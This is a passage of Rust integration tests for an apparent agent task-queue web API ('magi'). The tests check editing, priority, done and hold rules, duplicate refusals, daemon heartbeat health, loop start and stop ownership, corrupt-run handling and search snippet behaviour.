17745            "keep instruction".into(),
17746            repo,
17747            Source::Human,
17748        );
17749        t.runs.push("prior-run".into());
17750        t.hold_manual(Some("waiting".into()));
17751        q.put(&mut t).unwrap();
17752        let change = |count| {
17753            queue_implementers(
17754                State(ui.clone()),
17755                Path(t.id.clone()),
17756                Ok(Json(ImplementersBody {
17757                    implementers: count,
17758                })),
17759            )
17760        };
17761        for count in [2, 1, 2] {
17762            let response = change(count).await.unwrap();
17763            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17764            let saved = q.get(&t.id).unwrap();
17765            assert_eq!(saved.implementers(), Some(usize::from(count)));
17766            assert_eq!(saved.runs, t.runs);
17767            assert_eq!(saved.instruction, t.instruction);
17768        }
17769        for count in [0, 4] {
17770            assert_eq!(
17771                change(count).await.err().unwrap().status,
17772                StatusCode::BAD_REQUEST
17773            );
17774        }
17775        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17776        let claim = q.claim(&t.id).unwrap();
17777        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17778        drop(claim);
17779        for status in [
17780            TaskStatus::Running,
17781            TaskStatus::Done,
17782            TaskStatus::Failed,
17783            TaskStatus::Blocked,
17784            TaskStatus::Parked,
17785        ] {
17786            let mut stored = q.get(&t.id).unwrap();
17787            stored.status = status;
17788            q.put(&mut stored).unwrap();
17789            assert_eq!(
17790                change(1).await.err().unwrap().status,
17791                StatusCode::BAD_REQUEST
17792            );
17793            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17794        }
17795    }
17796
17797    #[tokio::test]
17798    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17799        let f = Fixture::start().await;
17800        let queue = f.queue();
17801        let mut task = Task::new(
17802            "in flight".to_owned(),
17803            "x".to_owned(),
17804            PathBuf::from("/repo/magi"),
17805            Source::Human,
17806        );
17807        task.start("20260902-140502-bbbb".to_owned());
17808        queue.put(&mut task).expect("file the task");
17809
17810        let res = f
17811            .post(
17812                &format!("/api/queue/{}/priority", task.id),
17813                Some(r#"{"priority":9}"#),
17814            )
17815            .await;
17816        assert_eq!(res.status, 400, "{}", res.body);
17817        assert!(
17818            res.json()["error"]
17819                .as_str()
17820                .is_some_and(|e| e.contains("running")),
17821            "{}",
17822            res.body
17823        );
17824        assert_eq!(
17825            queue.get(&task.id).expect("reload").priority,
17826            0,
17827            "the refused write must not partially apply"
17828        );
17829    }
17830
17831    #[tokio::test]
17832    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17833        let f = Fixture::start().await;
17834        let queue = f.queue();
17835        let mut task = Task::new(
17836            "old title".to_owned(),
17837            "old instruction".to_owned(),
17838            PathBuf::from("/repo/magi"),
17839            Source::Agent {
17840                run: "20260101-000000-beef".to_owned(),
17841                node: "implement".to_owned(),
17842            },
17843        );
17844        task.runs.push("20260101-000000-beef".to_owned());
17845        queue.put(&mut task).expect("file the task");
17846        let created_at = task.created_at;
17847
17848        let edited = f
17849            .post(
17850                &format!("/api/queue/{}/edit", task.id),
17851                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17852            )
17853            .await;
17854        assert_eq!(edited.status, 200, "{}", edited.body);
17855        let body = edited.json();
17856        assert_eq!(body["title"], "new title");
17857        assert_eq!(body["instruction"], "new instruction");
17858        assert_eq!(body["id"], task.id, "editing must not mint a new id");
17859        assert_eq!(body["created_at"], created_at.to_string());
17860        assert_eq!(
17861            body["source"]["kind"], "agent",
17862            "editing a task an agent filed must not turn it human: {body}"
17863        );
17864        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17865
17866        let reloaded = queue.get(&task.id).expect("reload");
17867        assert_eq!(reloaded.title, "new title");
17868        assert_eq!(reloaded.instruction, "new instruction");
17869    }
17870
17871    #[tokio::test]
17872    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17873        // The judge is an agent now: a repo whose only agent answers
17874        // "duplicate" stands in for it, so the refusal is the judge's.
17875        let tmp = TempDir::new().expect("tempdir");
17876        let repo = tmp.path().join("repo");
17877        std::fs::create_dir_all(&repo).expect("repo dir");
17878        let judge = MOCK_AGENT_TOML.replace(
17879            "printf ok",
17880            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17881        );
17882        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17883        let f = Fixture::with_repo(repo.clone()).await;
17884        let queue = f.queue();
17885        let mut owner = Task::new(
17886            "owner".to_owned(),
17887            "review it".to_owned(),
17888            repo.clone(),
17889            Source::Human,
17890        );
17891        owner.review_branch = Some("magi/ab12/A".to_owned());
17892        queue.put(&mut owner).expect("file the owner");
17893        let mut task = Task::new(
17894            "draft".to_owned(),
17895            "old".to_owned(),
17896            repo.clone(),
17897            Source::Human,
17898        );
17899        queue.put(&mut task).expect("file the draft");
17900        let url = format!("/api/queue/{}/edit", task.id);
17901
17902        let refused = f
17903            .post(
17904                &url,
17905                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17906            )
17907            .await;
17908        assert_eq!(refused.status, 409, "{}", refused.body);
17909        let msg = refused.json()["error"]
17910            .as_str()
17911            .unwrap_or_default()
17912            .to_owned();
17913        assert!(
17914            msg.contains("magi/ab12/A") && msg.contains("force"),
17915            "{msg}"
17916        );
17917        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17918
17919        let forced = f
17920            .post(
17921                &url,
17922                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17923            )
17924            .await;
17925        assert_eq!(forced.status, 200, "{}", forced.body);
17926    }
17927
17928    #[tokio::test]
17929    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17930        let f = Fixture::start().await;
17931        let queue = f.queue();
17932        let mut task = Task::new(
17933            "in flight".to_owned(),
17934            "do not touch".to_owned(),
17935            PathBuf::from("/repo/magi"),
17936            Source::Human,
17937        );
17938        task.start("20260902-140502-bbbb".to_owned());
17939        queue.put(&mut task).expect("file the task");
17940
17941        let res = f
17942            .post(
17943                &format!("/api/queue/{}/edit", task.id),
17944                Some(r#"{"title":"x","instruction":"y"}"#),
17945            )
17946            .await;
17947        assert_eq!(res.status, 400, "{}", res.body);
17948        assert!(
17949            res.json()["error"]
17950                .as_str()
17951                .is_some_and(|e| e.contains("running")),
17952            "{}",
17953            res.body
17954        );
17955        assert_eq!(
17956            queue.get(&task.id).expect("reload").instruction,
17957            "do not touch",
17958            "the refused edit must not change the file"
17959        );
17960    }
17961
17962    #[tokio::test]
17963    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17964        let f = Fixture::start().await;
17965        let queue = f.queue();
17966        let mut task = Task::new(
17967            "busy".to_owned(),
17968            "Running right now".to_owned(),
17969            PathBuf::from("/repo/magi"),
17970            Source::Human,
17971        );
17972        queue.put(&mut task).expect("file the task");
17973        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17974
17975        let priority = f
17976            .post(
17977                &format!("/api/queue/{}/priority", task.id),
17978                Some(r#"{"priority":9}"#),
17979            )
17980            .await;
17981        assert_eq!(priority.status, 409, "{}", priority.body);
17982
17983        let edit = f
17984            .post(
17985                &format!("/api/queue/{}/edit", task.id),
17986                Some(r#"{"title":"x","instruction":"y"}"#),
17987            )
17988            .await;
17989        assert_eq!(edit.status, 409, "{}", edit.body);
17990    }
17991
17992    #[tokio::test]
17993    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17994        let f = Fixture::start().await;
17995        let queue = f.queue();
17996        let mut task = Task::new(
17997            "shipped by hand".to_owned(),
17998            "merged outside the loop".to_owned(),
17999            PathBuf::from("/repo/magi"),
18000            Source::Agent {
18001                run: "20260101-000000-b455".to_owned(),
18002                node: "implement".to_owned(),
18003            },
18004        );
18005        task.runs.push("20260101-000000-b455".to_owned());
18006        task.runs.push("20260101-000000-9af4".to_owned());
18007        queue.put(&mut task).expect("file the task");
18008        let created_at = task.created_at;
18009
18010        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18011        assert_eq!(done.status, 200, "{}", done.body);
18012        assert_eq!(done.json()["status_str"], "done");
18013
18014        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18015        assert_eq!(
18016            reloaded.runs,
18017            ["20260101-000000-b455", "20260101-000000-9af4"]
18018        );
18019        assert_eq!(
18020            reloaded.source,
18021            Source::Agent {
18022                run: "20260101-000000-b455".to_owned(),
18023                node: "implement".to_owned(),
18024            }
18025        );
18026        assert_eq!(reloaded.created_at, created_at);
18027    }
18028
18029    #[tokio::test]
18030    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18031        // `done` is allowed on any status, including `held`, with no release
18032        // in between - so a task held for a reason and then closed directly
18033        // must not keep reading as "waiting on" it afterwards, on its card or
18034        // in `magi task show`.
18035        let f = Fixture::start().await;
18036        let queue = f.queue();
18037        let mut task = Task::new(
18038            "landed while held".to_owned(),
18039            "x".to_owned(),
18040            PathBuf::from("/repo/magi"),
18041            Source::Human,
18042        );
18043        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18044        queue.put(&mut task).expect("file the held task");
18045
18046        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18047        assert_eq!(done.status, 200, "{}", done.body);
18048        assert_eq!(done.json()["status_str"], "done");
18049        assert!(
18050            done.json()["hold_reason"].is_null(),
18051            "a done task cannot still be waiting on something: {}",
18052            done.body
18053        );
18054    }
18055
18056    #[tokio::test]
18057    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18058        // `queue_done` is the phone's way to close a task the loop never
18059        // settled itself - after confirming a manual GitHub merge, say - and
18060        // that is just as much "this task's story is over" as the loop's own
18061        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18062        let f = Fixture::start().await;
18063        let queue = f.queue();
18064        let runs = f.runs();
18065        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18066        // The last attempt has to have actually landed for the earlier one
18067        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18068        // for the case where it didn't.
18069        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18070
18071        let mut task = Task::new(
18072            "landed by hand".to_owned(),
18073            "x".to_owned(),
18074            PathBuf::from("/repo/magi"),
18075            Source::Human,
18076        );
18077        task.runs.push("20260101-000000-doa1".to_owned());
18078        task.runs.push("20260101-000000-doa2".to_owned());
18079        queue.put(&mut task).expect("file the task");
18080
18081        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18082        assert_eq!(done.status, 200, "{}", done.body);
18083
18084        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18085            .expect("run still on disk under this fixture's own home");
18086        assert_eq!(
18087            reloaded_run.status,
18088            RunStatus::Superseded,
18089            "closing the task by hand must relabel the earlier blocked attempt exactly \
18090             like the loop's own settle path does"
18091        );
18092    }
18093
18094    #[tokio::test]
18095    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18096        // Closing a task by hand is allowed from any status, including one
18097        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18098        // manual merge the loop never watched, say. Nothing here is provably
18099        // why the task is done, so nothing earlier gets relabelled either.
18100        let f = Fixture::start().await;
18101        let queue = f.queue();
18102        let runs = f.runs();
18103        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18104        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18105
18106        let mut task = Task::new(
18107            "closed with nothing actually landed".to_owned(),
18108            "x".to_owned(),
18109            PathBuf::from("/repo/magi"),
18110            Source::Human,
18111        );
18112        task.runs.push("20260101-000000-dob1".to_owned());
18113        task.runs.push("20260101-000000-dob2".to_owned());
18114        queue.put(&mut task).expect("file the task");
18115
18116        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18117        assert_eq!(done.status, 200, "{}", done.body);
18118
18119        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18120            .expect("run still on disk under this fixture's own home");
18121        assert_eq!(
18122            reloaded_run.status,
18123            RunStatus::Blocked,
18124            "the last recorded attempt never landed, so the earlier one must not be \
18125             relabelled as superseded by it"
18126        );
18127    }
18128
18129    #[tokio::test]
18130    async fn unknown_ids_are_json_not_found_on_both_stores() {
18131        let f = Fixture::start().await;
18132
18133        let run = f.get("/api/runs/nosuchrun").await;
18134        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18135
18136        assert_eq!(run.status, 404);
18137        assert_eq!(task.status, 404);
18138        assert!(
18139            run.json()["error"]
18140                .as_str()
18141                .is_some_and(|e| e.contains("run")),
18142            "the error names what was not found: {}",
18143            run.body
18144        );
18145        assert!(
18146            task.json()["error"]
18147                .as_str()
18148                .is_some_and(|e| e.contains("task")),
18149            "the error names what was not found: {}",
18150            task.body
18151        );
18152    }
18153
18154    #[tokio::test]
18155    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18156        let f = Fixture::start().await;
18157
18158        let missing = f.get("/api/health").await.json();
18159        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18160
18161        write_daemon(
18162            f.home.path(),
18163            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18164        );
18165        let stale = f.get("/api/health").await.json();
18166        assert_eq!(
18167            stale["daemon"]["running"], false,
18168            "a minute without a heartbeat is a dead daemon, not a busy one"
18169        );
18170        assert!(
18171            stale["daemon"]["stale_for_secs"]
18172                .as_i64()
18173                .is_some_and(|s| s >= 55),
18174            "staleness is reported so the UI can say how long: {stale}"
18175        );
18176
18177        write_daemon(f.home.path(), Timestamp::now());
18178        let fresh = f.get("/api/health").await.json();
18179        assert_eq!(fresh["daemon"]["running"], true);
18180        assert_eq!(fresh["daemon"]["idle"], false);
18181        assert_eq!(fresh["daemon"]["pid"], 4242);
18182        assert_eq!(fresh["daemon"]["completed"], 7);
18183        assert_eq!(
18184            fresh["daemon"]["current"][0]["task"],
18185            "20260902-140501-aaaa"
18186        );
18187        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18188    }
18189
18190    #[tokio::test]
18191    async fn the_loop_is_not_running_until_something_starts_it() {
18192        let f = Fixture::start().await;
18193
18194        let view = f.get("/api/loop").await.json();
18195        assert_eq!(view["running"], false);
18196        assert_eq!(
18197            view["owned"], false,
18198            "nobody owns a loop that does not exist: {view}"
18199        );
18200        assert_eq!(view["stopping"], false);
18201        assert_eq!(view["last_error"], Value::Null);
18202        assert_eq!(view["daemon"]["running"], false);
18203        assert_eq!(
18204            view["repo"], "/repo/magi",
18205            "the repository a start would use, named before it is started"
18206        );
18207    }
18208
18209    #[tokio::test]
18210    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18211        let f = Fixture::start().await;
18212
18213        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18214        assert_eq!(res.status, 200, "{}", res.body);
18215        let view = res.json();
18216        assert_eq!(view["running"], true);
18217        assert_eq!(
18218            view["owned"], true,
18219            "the loop the UI started is the UI's own to stop: {view}"
18220        );
18221        assert_eq!(
18222            view["merge"],
18223            Value::Null,
18224            "no override was given, so each repository's own config decides"
18225        );
18226
18227        // The same object from the route a waking phone polls first. Two
18228        // surfaces disagreeing about whether anything is running is exactly
18229        // the confusion this UI exists to remove.
18230        let health = f.get("/api/health").await.json();
18231        assert_eq!(health["loop"]["running"], true, "{health}");
18232        assert_eq!(health["loop"]["owned"], true, "{health}");
18233
18234        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18235    }
18236
18237    #[tokio::test]
18238    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18239        let f = Fixture::start().await;
18240        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18241        assert_eq!(first.status, 200, "{}", first.body);
18242
18243        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18244        assert_eq!(
18245            again.status, 409,
18246            "two loops on one queue race for the same claims: {}",
18247            again.body
18248        );
18249        assert!(
18250            again.json()["error"]
18251                .as_str()
18252                .is_some_and(|e| e.contains("already running the loop")),
18253            "the refusal has to say why: {}",
18254            again.body
18255        );
18256        assert_eq!(
18257            f.get("/api/loop").await.json()["running"],
18258            true,
18259            "and the loop that was already running is untouched by it"
18260        );
18261
18262        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18263    }
18264
18265    #[tokio::test]
18266    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18267        let f = Fixture::start().await;
18268        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18269
18270        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18271        assert_eq!(
18272            res.status, 200,
18273            "the answer must not wait for the loop: a run in flight is tens of \
18274             minutes and the operator is holding a phone: {}",
18275            res.body
18276        );
18277
18278        let view = settled(&f, |v| v["running"] == false).await;
18279        assert_eq!(view["owned"], false);
18280        assert_eq!(
18281            view["stopping"], false,
18282            "a loop that has stopped is not still stopping: {view}"
18283        );
18284        assert_eq!(
18285            view["last_error"],
18286            Value::Null,
18287            "a loop that was asked to stop did not fail: {view}"
18288        );
18289
18290        // Idempotent, because the operator cannot tell a slow stop from a lost
18291        // one and will press it again.
18292        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18293        assert_eq!(twice.status, 200, "{}", twice.body);
18294    }
18295
18296    #[tokio::test]
18297    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18298        let f = Fixture::start().await;
18299        // How the operator has been doing it: a `magi serve` of their own,
18300        // heartbeat fresh, in the same home this UI reads.
18301        write_daemon(f.home.path(), Timestamp::now());
18302
18303        let view = f.get("/api/loop").await.json();
18304        assert_eq!(view["running"], false, "not in this process: {view}");
18305        assert_eq!(view["owned"], false, "and not this process's to control");
18306        assert_eq!(
18307            view["daemon"]["running"], true,
18308            "but a loop is alive somewhere, which is what the UI must say"
18309        );
18310        assert_eq!(view["daemon"]["pid"], 4242);
18311
18312        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18313            let res = f.post("/api/loop", Some(body)).await;
18314            assert_eq!(
18315                res.status, 409,
18316                "neither button may pretend to work on someone else's loop: {}",
18317                res.body
18318            );
18319            assert!(
18320                res.json()["error"]
18321                    .as_str()
18322                    .is_some_and(|e| e.contains("4242")),
18323                "the refusal has to name the process the operator must go to: {}",
18324                res.body
18325            );
18326        }
18327        assert_eq!(
18328            f.get("/api/loop").await.json()["running"],
18329            false,
18330            "and the refusal started nothing"
18331        );
18332    }
18333
18334    #[tokio::test]
18335    async fn a_stale_status_file_is_not_a_foreign_owner() {
18336        let f = Fixture::start().await;
18337        write_daemon(
18338            f.home.path(),
18339            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18340        );
18341
18342        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18343        assert_eq!(
18344            res.status, 200,
18345            "a daemon killed a minute ago must not lock the loop out of its \
18346             own home for good: {}",
18347            res.body
18348        );
18349        assert_eq!(res.json()["running"], true);
18350
18351        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18352    }
18353
18354    #[tokio::test]
18355    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
18356        let f = Fixture::start().await;
18357        let before = f.get("/api/health").await.json()["loop_rev"]
18358            .as_u64()
18359            .expect("a loop revision");
18360
18361        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18362
18363        let after = f.get("/api/health").await.json()["loop_rev"]
18364            .as_u64()
18365            .expect("a loop revision");
18366        assert!(
18367            after > before,
18368            "the loop is in-process state, so this counter is the only thing \
18369             that tells a second device the first one started it: {before} -> \
18370             {after}"
18371        );
18372
18373        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18374    }
18375
18376    #[tokio::test]
18377    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
18378        let f = Fixture::with_loop(launch_broken).await;
18379
18380        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18381        assert_eq!(
18382            res.status, 200,
18383            "starting it is not the failure: {}",
18384            res.body
18385        );
18386
18387        let view = settled(&f, |v| v["last_error"].is_string()).await;
18388        assert_eq!(
18389            view["running"], false,
18390            "a loop that died must not read as running, or the operator has \
18391             nothing to press: {view}"
18392        );
18393        assert_eq!(view["owned"], false);
18394        assert!(
18395            view["last_error"]
18396                .as_str()
18397                .is_some_and(|e| e.contains("read-only file system")),
18398            "the phone is where a loop that died at 3am is visible: {view}"
18399        );
18400
18401        // And it can be started again: the corpse was reaped, not left to
18402        // occupy the slot.
18403        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18404        assert_eq!(again.status, 200, "{}", again.body);
18405        assert!(
18406            again.json()["last_error"]
18407                .as_str()
18408                .is_none_or(|e| !e.contains("read-only file system")),
18409            "a fresh start does not keep showing why the last one died: {}",
18410            again.body
18411        );
18412    }
18413
18414    #[tokio::test]
18415    async fn a_newer_daemon_status_file_still_renders() {
18416        let f = Fixture::start().await;
18417        // A field this build has never heard of must not turn the status line
18418        // into a 500; that is the whole reason the reader is permissive.
18419        std::fs::write(
18420            f.home.path().join("daemon.json"),
18421            serde_json::json!({
18422                "schema": 2,
18423                "updated_at": Timestamp::now().to_string(),
18424                "idle": true,
18425                "surprise": { "nested": [1, 2, 3] },
18426            })
18427            .to_string(),
18428        )
18429        .expect("write daemon.json");
18430
18431        let health = f.get("/api/health").await;
18432
18433        assert_eq!(health.status, 200);
18434        assert_eq!(health.json()["daemon"]["running"], true);
18435    }
18436
18437    #[tokio::test]
18438    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
18439        let f = Fixture::start().await;
18440        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18441        let broken = f.runs().join("20260902-140502-bad");
18442        std::fs::create_dir_all(&broken).expect("run dir");
18443        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18444
18445        let list = f.get("/api/runs").await;
18446        let detail = f.get("/api/runs/20260902-140502-bad").await;
18447
18448        assert_eq!(list.status, 200);
18449        let listed = list.json();
18450        let ids: Vec<&str> = listed
18451            .as_array()
18452            .expect("an array")
18453            .iter()
18454            .map(|r| r["id"].as_str().expect("an id"))
18455            .collect();
18456        assert_eq!(
18457            ids,
18458            vec!["20260902-140501-good"],
18459            "one unreadable run must not cost the operator the whole history"
18460        );
18461        assert_eq!(detail.status, 500);
18462        assert!(
18463            detail.json()["error"]
18464                .as_str()
18465                .is_some_and(|e| e.contains("run.json")),
18466            "the failure names the file to look at: {}",
18467            detail.body
18468        );
18469        // A skipped run has to be countable somewhere, or the UI shows an
18470        // empty history with nothing to explain it - which is exactly what a
18471        // directory full of older-schema runs looks like.
18472        let health = f.get("/api/health").await;
18473        assert_eq!(health.json()["runs_unreadable"], 1);
18474    }
18475
18476    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
18477    #[tokio::test]
18478    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
18479        let f = Fixture::start().await;
18480        let runs = f.runs();
18481        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
18482        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
18483        // Text three levels down, in a shape no current RunState has: an older
18484        // schema must still search.
18485        let path = runs.join("20260902-140502-bbbb").join("run.json");
18486        let mut v: serde_json::Value =
18487            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18488        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
18489        std::fs::write(&path, v.to_string()).unwrap();
18490        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
18491        std::fs::write(
18492            runs.join("20260902-140503-cccc").join("run.json"),
18493            "{ not json",
18494        )
18495        .unwrap();
18496
18497        let res = f.get("/api/search?scope=runs&q=quokka").await;
18498        assert_eq!(res.status, 200, "{}", res.body);
18499        let v = res.json();
18500        assert_eq!(v["total"], 1, "{v}");
18501        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
18502        assert_eq!(v["hits"][0]["field"], "text");
18503        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
18504        let parts = v["hits"][0]["snippet"].as_array().unwrap();
18505        assert!(
18506            parts
18507                .iter()
18508                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
18509            "{v}"
18510        );
18511        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
18512        assert_eq!(
18513            flat, "The Quokka leaks across threads",
18514            "whitespace is collapsed"
18515        );
18516
18517        // Terms are ANDed, across different fields, case-insensitively.
18518        let both = f
18519            .get("/api/search?scope=runs&q=MOBILE%20quokka")
18520            .await
18521            .json();
18522        assert_eq!(both["total"], 1, "{both}");
18523        let neither = f
18524            .get("/api/search?scope=runs&q=quokka%20zebra")
18525            .await
18526            .json();
18527        assert_eq!(neither["total"], 0, "{neither}");
18528        // Everything in the task statement is reachable, not only the row text.
18529        let stmt = f
18530            .get("/api/search?scope=runs&q=mobile%20first")
18531            .await
18532            .json();
18533        assert_eq!(stmt["total"], 2, "{stmt}");
18534        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
18535        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
18536    }
18537
18538    #[test]
18539    fn snippet_ignores_terms_longer_than_the_field() {
18540        let terms = ["ok".to_owned(), "elephant".to_owned()];
18541        let parts = snippet_of("ok", &terms);
18542        assert_eq!(
18543            parts,
18544            vec![SnippetPart {
18545                text: "ok".to_owned(),
18546                hit: true
18547            }]
18548        );
18549    }
18550
18551    #[test]
18552    fn snippet_marks_matches_longer_than_the_window() {
18553        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
18554        let hit_len = |parts: &[SnippetPart]| -> usize {
18555            parts
18556                .iter()
18557                .filter(|p| p.hit)
18558                .map(|p| p.text.chars().count())
18559                .sum()
18560        };
18561        let total =
18562            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
18563
18564        let long = "a".repeat(120);
18565        let parts = snippet_of(&long, std::slice::from_ref(&long));
18566        assert!(hit_len(&parts) > 0, "{parts:?}");
18567        assert!(total(&parts) <= cap);
18568
18569        let ja = "あ".repeat(130);
18570        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
18571        assert!(hit_len(&parts) > 0, "{parts:?}");
18572        assert!(total(&parts) <= cap);
18573
18574        // A short hit, then one straddling the window's end.
18575        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
18576        let term = format!("ab{}", "c".repeat(100));
18577        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
18578        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
18579        assert!(total(&parts) <= cap);
18580
18581        // Only the head matches: not highlighted.
18582        let text = format!("{}z", "a".repeat(119));
18583        let parts = snippet_of(&text, &["a".repeat(120)]);
18584        assert_eq!(hit_len(&parts), 0, "{parts:?}");
18585    }
18586
18587    #[tokio::test]
18588    async fn search_caps_hits_and_snippet_length() {
18589        let f = Fixture::start().await;
18590        let runs = f.runs();
18591        for n in 0..(SEARCH_MAX_HITS + 5) {
18592            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
18593        }
18594        let v = f.get("/api/search?scope=runs&q=web").await.json();
18595        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
18596        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
18597        assert_eq!(v["truncated"], true);
18598        // Every listed run hit carries its list row for the page's filters.
18599        assert!(
18600            v["hits"]
18601                .as_array()
18602                .unwrap()
18603                .iter()
18604                .all(|h| h["run"]["status"] == "merged")
18605        );
18606
18607        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
18608        let parts = snippet_of(&long, &["needle".to_owned()]);
18609        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
18610        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
18611        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
18612    }
18613
18614    #[tokio::test]
18615    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
18616        let f = Fixture::start().await;
18617        let queue = f.queue();
18618        let mut t = Task::new(
18619            "short title".to_owned(),
18620            "line one\nthe hidden Armadillo detail".to_owned(),
18621            PathBuf::from("/repo/magi"),
18622            Source::Agent {
18623                run: "r1".to_owned(),
18624                node: "chat".to_owned(),
18625            },
18626        );
18627        t.last_error = Some("disk full on /tmp".to_owned());
18628        queue.put(&mut t).expect("file the task");
18629
18630        for (q, want) in [
18631            ("armadillo", 1),
18632            ("disk%20FULL", 1),
18633            ("chat", 1),
18634            ("queued", 1),
18635            ("short%20nothing", 0),
18636        ] {
18637            let v = f
18638                .get(&format!("/api/search?scope=tasks&q={q}"))
18639                .await
18640                .json();
18641            assert_eq!(v["total"], want, "{q}: {v}");
18642        }
18643        for bad in [
18644            "/api/search?scope=tasks&q=",
18645            "/api/search?scope=tasks&q=%20",
18646            "/api/search?scope=chats&q=",
18647            "/api/search?scope=chats&q=%20",
18648            "/api/search?scope=nope&q=a",
18649            "/api/search?q=a",
18650        ] {
18651            assert_eq!(f.get(bad).await.status, 400, "{bad}");
18652        }
18653    }
18654
18655    /// Write one conversation file the way the store reads it back.
18656    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
18657        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
18658            .expect("seat value");
18659        let turns: Vec<serde_json::Value> = turns
18660            .iter()
18661            .map(|(who, body)| {
18662                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
18663            })
18664            .collect();
18665        let doc = serde_json::json!({
18666            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
